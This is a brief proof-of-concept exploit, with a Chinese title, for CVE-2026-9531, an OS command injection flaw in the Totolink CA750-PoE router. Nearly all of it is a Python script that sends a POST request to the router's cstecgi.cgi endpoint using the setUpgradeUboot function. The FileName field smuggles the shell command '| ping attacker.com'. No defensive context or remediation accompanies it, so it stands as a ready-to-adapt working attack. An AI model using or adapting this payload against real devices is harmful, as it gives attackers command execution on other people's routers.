CVE-2026-9531 Totolink CA750-PoE OS命令注入漏洞

import requests # Target URL url = "http://target-ip/cgi-bin/cstecgi.cgi" # Malicious payload to inject OS command (e.g., ping a test server) payload = "| ping attacker.com" # Construct the data payload data = { "function": "setUpgradeUboot", "FileName": payload } # Send the POST request response = requests.post(url, data=data) # Check response print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}")